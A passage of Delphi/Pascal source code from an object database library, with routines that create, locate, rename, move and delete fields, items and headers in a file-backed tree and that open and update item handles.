DB_.FirstHeaderPOS; Header_.CurrentHeader := DB_.FirstHeaderPOS; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(DB_.IOHnd); if dbHeader_WriteRec(Header_.CurrentHeader, DB_.IOHnd, Header_) = False then begin Result := False; exit; end; end; 1: begin Header_.CurrentHeader := umlFileGetSize(DB_.IOHnd); Header_.NextHeader := DB_.FirstHeaderPOS; Header_.PrevHeader := DB_.FirstHeaderPOS; if dbHeader_ReadRec(DB_.FirstHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.PrevHeader := Header_.CurrentHeader; Header.NextHeader := Header_.CurrentHeader; Header.PositionID := DB_Header_First; if dbHeader_WriteRec(DB_.FirstHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; DB_.RootHeaderCount := DB_.RootHeaderCount + 1; DB_.LastHeaderPOS := Header_.CurrentHeader; DB_.ModificationTime := umlDefaultTime; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(DB_.IOHnd); Header_.PositionID := DB_Header_Last; if dbHeader_WriteRec(Header_.CurrentHeader, DB_.IOHnd, Header_) = False then begin Result := False; exit; end; end; else begin Header_.CurrentHeader := umlFileGetSize(DB_.IOHnd); if dbHeader_ReadRec(DB_.FirstHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.PrevHeader := Header_.CurrentHeader; Header_.NextHeader := Header.CurrentHeader; if dbHeader_WriteRec(DB_.FirstHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; if dbHeader_ReadRec(DB_.LastHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.NextHeader := Header_.CurrentHeader; Header_.PrevHeader := DB_.LastHeaderPOS; Header.PositionID := DB_Header_Medium; if dbHeader_WriteRec(DB_.LastHeaderPOS, DB_.IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; DB_.RootHeaderCount := DB_.RootHeaderCount + 1; DB_.LastHeaderPOS := Header_.CurrentHeader; DB_.ModificationTime := umlDefaultTime; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(DB_.IOHnd); Header_.PositionID := DB_Header_Last; if dbHeader_WriteRec(Header_.CurrentHeader, DB_.IOHnd, Header_) = False then begin Result := False; exit; end; end; end; Header_.State := DB_Header_ok; Result := True; end; function db_CreateRootField(const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_TestName(Name) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; if db_ExistsRootField(Name, DB_) then begin DB_.State := DB_PathNameError; Result := False; exit; end; if db_CreateRootHeader(Name, DB_Header_Field_ID, DB_, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; f.Description := Description; f.HeaderCount := 0; f.UpFieldPOS := -1; if dbField_OnlyWriteFieldRec(f.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_CreateAndSetRootField(const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_TestName(Name) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; if db_ExistsRootField(Name, DB_) then begin DB_.State := DB_PathNameError; Result := False; exit; end; if db_CreateRootHeader(Name, DB_Header_Field_ID, DB_, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; f.Description := Description; f.HeaderCount := 0; f.UpFieldPOS := -1; if dbField_OnlyWriteFieldRec(f.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; DB_.DefaultFieldPOS := f.RHeader.CurrentHeader; DB_.State := DB_ok; Result := True; end; function db_CreateField(const pathName, Description: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; fs: TFieldSearch; i, PC: Integer; TempPathStr, TempPathName: U_String; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if dbField_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; if umlGetLength(pathName) = 0 then begin DB_.State := DB_ok; Result := True; exit; end; TempPathName := pathName; PC := db_GetPathCount(TempPathName); if PC > 0 then begin for i := 1 to PC do begin TempPathStr := db_GetFirstPath(TempPathName); TempPathName := db_DeleteFirstPath(TempPathName); if db_TestName(TempPathStr) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; case dbField_FindFirst(TempPathStr, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, fs) of False: begin f.Description := Description; if dbField_CreateField(TempPathStr, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; True: begin if dbField_ReadRec(fs.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; end; end; end; DB_.State := DB_ok; Result := True; end; function db_SetFieldName(const pathName, OriginFieldName, NewFieldName, FieldDescription: U_String; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; f: TField; OriginField: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(OriginFieldName, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if dbField_ReadRec(TempSR.RHeader.CurrentHeader, DB_.IOHnd, OriginField) = False then begin DB_.State := OriginField.RHeader.State; Result := False; exit; end; OriginField.RHeader.Name := NewFieldName; OriginField.Description := FieldDescription; if dbField_WriteRec(OriginField.RHeader.CurrentHeader, DB_.IOHnd, OriginField) = False then begin DB_.State := OriginField.RHeader.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_SetItemName(const pathName, OriginItemName, NewItemName, ItemDescription: U_String; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; f: TField; OriginItem: TItem; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(OriginItemName, DB_Header_Item_ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if dbItem_ReadRec(TempSR.RHeader.CurrentHeader, DB_.IOHnd, OriginItem) = False then begin DB_.State := OriginItem.RHeader.State; Result := False; exit; end; OriginItem.RHeader.Name := NewItemName; OriginItem.Description := ItemDescription; if dbItem_WriteRec(OriginItem.RHeader.CurrentHeader, DB_.IOHnd, OriginItem) = False then begin DB_.State := OriginItem.RHeader.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_DeleteField(const pathName, FilterName: U_String; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(FilterName, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; while dbField_FindFirst(FilterName, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_DeleteHeader(const pathName, FilterName: U_String; const ID: Byte; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(FilterName, ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; while dbField_FindFirst(FilterName, ID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_MoveItem(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; SourcerField, TargetField: TField; begin if db_GetField(SourcerPathName, SourcerField, DB_) = False then begin Result := False; exit; end; if db_GetField(TargetPathName, TargetField, DB_) = False then begin Result := False; exit; end; if SourcerField.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_FindFirstItem(FilterName, ItemExtID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; while dbField_FindFirstItem(FilterName, ItemExtID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_MoveField(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; SourcerField, TargetField: TField; begin if db_GetField(SourcerPathName, SourcerField, DB_) = False then begin Result := False; exit; end; if db_GetField(TargetPathName, TargetField, DB_) = False then begin Result := False; exit; end; if SourcerField.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_FindFirst(FilterName, DB_Header_Field_ID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; while dbField_FindFirst(FilterName, DB_Header_Field_ID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_MoveHeader(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; const HeaderID: Byte; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; SourcerField, TargetField: TField; begin if db_GetField(SourcerPathName, SourcerField, DB_) = False then begin Result := False; exit; end; if db_GetField(TargetPathName, TargetField, DB_) = False then begin Result := False; exit; end; if SourcerField.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_FindFirst(FilterName, HeaderID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; while dbField_FindFirst(FilterName, HeaderID, SourcerField.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if TempSR.RHeader.CurrentHeader = TargetField.RHeader.CurrentHeader then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_MoveHeader(TempSR.RHeader.CurrentHeader, SourcerField.RHeader.CurrentHeader, TargetField.RHeader.CurrentHeader, DB_.IOHnd, TargetField) = False then begin DB_.State := TargetField.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_SetCurrentRootField(const Name: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if DB_.RootHeaderCount = 0 then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbHeader_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.DefaultFieldPOS := f.RHeader.CurrentHeader; DB_.State := DB_ok; Result := True; exit; end; if DB_.RootHeaderCount = 1 then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.DefaultFieldPOS := f.RHeader.CurrentHeader; DB_.State := DB_ok; Result := True; exit; end; while f.RHeader.CurrentHeader <> DB_.DefaultFieldPOS do begin if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.DefaultFieldPOS := f.RHeader.CurrentHeader; DB_.State := DB_ok; Result := True; exit; end; end; DB_.State := DB_PathNameError; Result := False; end; function db_SetCurrentField(const pathName: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; fs: TFieldSearch; i, PC: Integer; TempPathStr, TempPathName: U_String; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if dbField_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; if umlGetLength(pathName) = 0 then begin DB_.CurrentFieldPOS := f.RHeader.CurrentHeader; DB_.CurrentFieldLevel := 1; DB_.State := DB_ok; Result := True; exit; end; TempPathName := pathName; PC := db_GetPathCount(TempPathName); if PC > 0 then begin for i := 1 to PC do begin TempPathStr := db_GetFirstPath(TempPathName); TempPathName := db_DeleteFirstPath(TempPathName); if db_TestName(TempPathStr) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_FindFirst(TempPathStr, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, fs) = False then begin DB_.State := fs.State; Result := False; exit; end; if dbField_ReadRec(fs.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; end; DB_.CurrentFieldPOS := f.RHeader.CurrentHeader; DB_.CurrentFieldLevel := PC; DB_.State := DB_ok; Result := True; end; function db_GetRootField(const Name: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; var f: TField; begin Init_TField(Field_); Init_TField(f); if DB_.RootHeaderCount = 0 then begin DB_.State := DB_PathNameError; Field_.State := DB_.State; Result := False; exit; end; if dbHeader_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Field_.State := DB_.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Field_ := f; Result := True; exit; end; if DB_.RootHeaderCount = 1 then begin DB_.State := DB_PathNameError; Field_.State := DB_.State; Result := False; exit; end; if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Field_.State := DB_.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Field_ := f; Result := True; exit; end; while f.RHeader.CurrentHeader <> DB_.DefaultFieldPOS do begin if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Field_.State := DB_.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Field_ := f; Result := True; exit; end; end; DB_.State := DB_PathNameError; Field_.State := DB_.State; Result := False; end; function db_GetField(const pathName: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; var f: TField; fs: TFieldSearch; i, PC: Integer; TempPathStr, TempPathName: U_String; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if dbField_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; if umlGetLength(pathName) = 0 then begin Field_ := f; DB_.State := DB_ok; Result := True; exit; end; TempPathName := pathName; PC := db_GetPathCount(TempPathName); if PC > 0 then begin for i := 1 to PC do begin TempPathStr := db_GetFirstPath(TempPathName); TempPathName := db_DeleteFirstPath(TempPathName); if db_TestName(TempPathStr) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbField_FindFirst(TempPathStr, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, fs) = False then begin DB_.State := fs.State; Result := False; exit; end; if dbField_ReadRec(fs.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; end; Field_ := f; DB_.State := DB_ok; Result := True; end; function db_GetPath(const FieldPos, RootFieldPos: Int64; var DB_: TObjectDataHandle; var RetPath: U_String): Boolean; var f: TField; begin if dbHeader_ReadRec(FieldPos, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if f.RHeader.ID <> DB_Header_Field_ID then begin DB_.State := DB_Field_SetPosError; Result := False; exit; end; if dbField_OnlyReadFieldRec(f.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; if f.RHeader.CurrentHeader = RootFieldPos then begin RetPath := DB_Path_Delimiter; DB_.State := DB_ok; Result := True; exit; end; RetPath := f.RHeader.Name + DB_Path_Delimiter; while dbField_ReadRec(f.UpFieldPOS, DB_.IOHnd, f) do begin if f.RHeader.CurrentHeader = RootFieldPos then begin RetPath := DB_Path_Delimiter + RetPath; DB_.State := DB_ok; Result := True; exit; end; RetPath := f.RHeader.Name + DB_Path_Delimiter + RetPath; end; DB_.State := f.State; Result := False; end; function db_NewItem(const pathName, ItemName, ItemDescription: U_String; const ItemExtID: Byte; var Item_: TItem; var DB_: TObjectDataHandle): Boolean; var f: TField; fs: TFieldSearch; i, PC: Integer; TempPathStr, TempPathName: U_String; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if dbField_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; if umlGetLength(pathName) > 0 then begin TempPathName := pathName; PC := db_GetPathCount(TempPathName); if PC > 0 then begin for i := 1 to PC do begin TempPathStr := db_GetFirstPath(TempPathName); TempPathName := db_DeleteFirstPath(TempPathName); if db_TestName(TempPathStr) = False then begin DB_.State := DB_PathNameError; Result := False; exit; end; case dbField_FindFirst(TempPathStr, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, fs) of False: begin f.Description := DB_FileDescription; if dbField_CreateField(TempPathStr, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; True: begin if dbField_ReadRec(fs.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; end; end; end; end; if db_TestName(ItemName) = False then begin DB_.State := DB_ItemNameError; Result := False; exit; end; if dbField_FindFirstItem(ItemName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, fs) then begin if DB_.OverWriteItem = False then begin if DB_.AllowSameHeaderName = False then begin DB_.State := DB_RepeatCreateItemError; Result := False; exit; end; end else begin if dbField_DeleteHeader(fs.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; end; Item_.Description := ItemDescription; if dbField_CreateItem(ItemName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, Item_) = False then begin DB_.State := Item_.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_DeleteItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var TempSR: TFieldSearch; f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirstItem(FilterName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) = False then begin DB_.State := TempSR.State; Result := False; exit; end; if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; while dbField_FindFirstItem(FilterName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, TempSR) do begin if dbField_DeleteHeader(TempSR.RHeader.CurrentHeader, f.RHeader.CurrentHeader, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; end; DB_.State := DB_ok; Result := True; end; function db_GetItem(const pathName, ItemName: U_String; const ItemExtID: Byte; var Item_: TItem; var DB_: TObjectDataHandle): Boolean; var f: TField; _FieldSR: TFieldSearch; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirstItem(ItemName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, _FieldSR) = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_ReadRec(_FieldSR.RHeader.CurrentHeader, DB_.IOHnd, Item_) = False then begin DB_.State := Item_.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemCreate(const pathName, ItemName, ItemDescription: U_String; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags then begin DB_.State := DB_RepeatCreateItemError; Result := False; exit; end; if db_NewItem(pathName, ItemName, ItemDescription, ItemExtID, ItemHnd_.Item, DB_) = False then begin Result := False; exit; end; if dbItem_BlockInit(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := ItemName; ItemHnd_.Description := ItemDescription; ItemHnd_.CreateTime := ItemHnd_.Item.RHeader.CreateTime; ItemHnd_.ModificationTime := ItemHnd_.Item.RHeader.ModificationTime; ItemHnd_.ItemExtID := ItemExtID; ItemHnd_.OpenFlags := True; DB_.State := DB_ok; Result := True; end; function db_ItemFastCreate(const ItemName, ItemDescription: U_String; const fPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags then begin DB_.State := DB_RepeatCreateItemError; Result := False; exit; end; if dbField_CreateItem(ItemName, ItemExtID, fPos, DB_.IOHnd, ItemHnd_.Item) = False then begin Result := False; exit; end; if dbItem_BlockInit(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := ItemName; ItemHnd_.Description := ItemDescription; ItemHnd_.CreateTime := ItemHnd_.Item.RHeader.CreateTime; ItemHnd_.ModificationTime := ItemHnd_.Item.RHeader.ModificationTime; ItemHnd_.ItemExtID := ItemExtID; ItemHnd_.OpenFlags := True; DB_.State := DB_ok; Result := True; end; function db_ItemFastInsertNew(const ItemName, ItemDescription: U_String; const FieldPos, InsertHeaderPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags then begin DB_.State := DB_RepeatCreateItemError; Result := False; exit; end; if dbField_InsertNewItem(ItemName, ItemExtID, FieldPos, InsertHeaderPos, DB_.IOHnd, ItemHnd_.Item) = False then begin Result := False; exit; end; if dbItem_BlockInit(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := ItemName; ItemHnd_.Description := ItemDescription; ItemHnd_.CreateTime := ItemHnd_.Item.RHeader.CreateTime; ItemHnd_.ModificationTime := ItemHnd_.Item.RHeader.ModificationTime; ItemHnd_.ItemExtID := ItemExtID; ItemHnd_.OpenFlags := True; DB_.State := DB_ok; Result := True; end; function db_ItemOpen(const pathName, ItemName: U_String; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags then begin DB_.State := DB_RepeatOpenItemError; Result := False; exit; end; if db_GetItem(pathName, ItemName, ItemExtID, ItemHnd_.Item, DB_) = False then begin Result := False; exit; end; if dbItem_BlockInit(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := ItemName; ItemHnd_.Description := ItemHnd_.Item.Description; ItemHnd_.CreateTime := ItemHnd_.Item.RHeader.CreateTime; ItemHnd_.ModificationTime := ItemHnd_.Item.RHeader.ModificationTime; ItemHnd_.ItemExtID := ItemExtID; ItemHnd_.OpenFlags := True; DB_.State := DB_ok; Result := True; end; function db_ItemFastOpen(const fPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags then begin DB_.State := DB_RepeatOpenItemError; Result := False; exit; end; if dbHeader_ReadRec(fPos, DB_.IOHnd, ItemHnd_.Item.RHeader) = False then begin DB_.State := ItemHnd_.Item.RHeader.State; Result := False; exit; end; if ItemHnd_.Item.RHeader.ID <> DB_Header_Item_ID then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_OnlyReadItemRec(ItemHnd_.Item.RHeader.DataPosition, DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; if ItemHnd_.Item.ExtID <> ItemExtID then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockInit(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := ItemHnd_.Item.RHeader.Name; ItemHnd_.Description := ItemHnd_.Item.Description; ItemHnd_.CreateTime := ItemHnd_.Item.RHeader.CreateTime; ItemHnd_.ModificationTime := ItemHnd_.Item.RHeader.ModificationTime; ItemHnd_.ItemExtID := ItemExtID; ItemHnd_.OpenFlags := True; DB_.State := DB_ok; Result := True; end; function db_ItemUpdate(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_CloseItemError; Result := False; exit; end; if ItemHnd_.Item.DataModification then begin // fixed by qq600585,2018-12 // Header has a certain chance of being changed by other item operation during the opening of item if dbHeader_ReadReservedRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item.RHeader) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Item.RHeader.Name := ItemHnd_.Name; ItemHnd_.Item.RHeader.CreateTime := ItemHnd_.CreateTime; ItemHnd_.Item.RHeader.ModificationTime := ItemHnd_.ModificationTime; ItemHnd_.Item.Description := ItemHnd_.Description; ItemHnd_.Item.ExtID := ItemHnd_.ItemExtID; if dbItem_WriteRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Item.DataModification := False; end; Result := True; end; function db_ItemBodyReset(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_CloseItemError; Result := False; exit; end; // fixed by qq600585,2018-12 // Header has a certain chance of being changed by other item operation during the opening of item if dbHeader_ReadReservedRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item.RHeader) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Item.RHeader.Name := ItemHnd_.Name; ItemHnd_.Item.RHeader.CreateTime := ItemHnd_.CreateTime; ItemHnd_.Item.RHeader.ModificationTime := ItemHnd_.ModificationTime; ItemHnd_.Item.Description := ItemHnd_.Description; ItemHnd_.Item.ExtID := ItemHnd_.ItemExtID; ItemHnd_.Item.FirstBlockPOS := 0; ItemHnd_.Item.LastBlockPOS := 0; ItemHnd_.Item.Size := 0; ItemHnd_.Item.BlockCount := 0; if 